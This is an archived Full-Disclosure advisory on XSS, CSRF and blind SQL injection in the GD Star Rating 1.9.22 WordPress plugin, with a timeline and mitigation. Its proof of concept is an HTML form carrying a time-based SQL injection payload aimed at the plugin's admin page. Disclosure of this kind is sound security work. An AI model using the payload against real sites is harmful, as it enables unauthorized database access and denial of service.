lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Fri, 28 Mar 2014 12:37:39 +0000
From: Harry Metcalfe <harry@....com>
To: fulldisclosure@...lists.org
Subject: [FD] XSS,
 CSRF and blind SQL injection in GD Star Rating 1.9.22 (WordPress
 plugin)

Details
================
Software: GD Star Rating
Version: 1.9.22
Homepage: http://wordpress.org/plugins/gd-star-rating/
CVSS: 8.5 (High; AV:N/AC:L/Au:S/C:C/I:N/A:C)

Description
================
XSS, CSRF and blind SQL injection in GD Star Rating 1.9.22

Vulnerability
================
This plugin is vulnerable to SQL injection. Carrying out an SQL 
injection requires access to an administrator account. However, the form 
contains no CSRF protection and is also vulnerable to XSS so an attacker 
may not need direct access to an account to perform denial of service or 
to compromise sensitive data.

Proof of concept
================
Proof of concept (see code/adm/db.php at line 154):
<form 
action="http://localhost/wp-admin/admin.php?page=gd-star-rating-stats" 
method="POST">
   <input type="text" name="s" value="' and sleep(5) = '">
   <input type="text" name="gdsr_search" value="Search Posts">
   <input type="submit">
</form>

Mitigations
================
Disable the plugin until a fix is released.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our 
disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@....com to acknowledge this report if you 
received it via a third party (for example, plugins@...dpress.org) as 
they generally cannot communicate with us on your behalf.

Please note that this vulnerability will be published if we do not 
receive a response to this report with 14 days.

Timeline
================

2013-07-25: Identified
2014-02-18: Reported to plugins@...dpress.org
2014-03-28: No response received. Published.


Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.



_______________________________________________
Sent through the Full Disclosure mailing list
http://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists